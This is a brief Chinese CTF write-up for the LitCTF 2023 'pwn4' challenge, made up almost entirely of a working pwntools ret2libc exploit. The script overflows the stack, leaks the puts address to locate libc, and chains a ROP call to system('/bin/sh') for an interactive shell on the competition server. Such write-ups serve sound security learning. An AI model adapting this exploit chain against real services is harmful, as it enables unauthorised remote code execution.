[LitCTF 2023]狠狠的溢出涅~

惯例先检查：

64位ida查看：

直接通过ret2libc：

python
from pwn import*

io = remote('node4.anna.nssctf.cn',28615)

libc = ELF('./libc-2.31.so')
elf = ELF('./pwn4')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']
ret = 0x0400556
pop_rdi = 0x4007d3
payload = b'\x00'+b'a'*(0x67)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendafter(b':\n',payload)
io.recvuntil(b'Received\n')
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))

libc_base = puts_addr - libc.symbols['puts']
binsh = libc_base + next(libc.search(b'/bin/sh'))
system = libc_base + libc.sym['system']

payload = b'\x00'+b'a'*(0x67)+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)+p64(main)

io.sendline(payload)

io.interactive()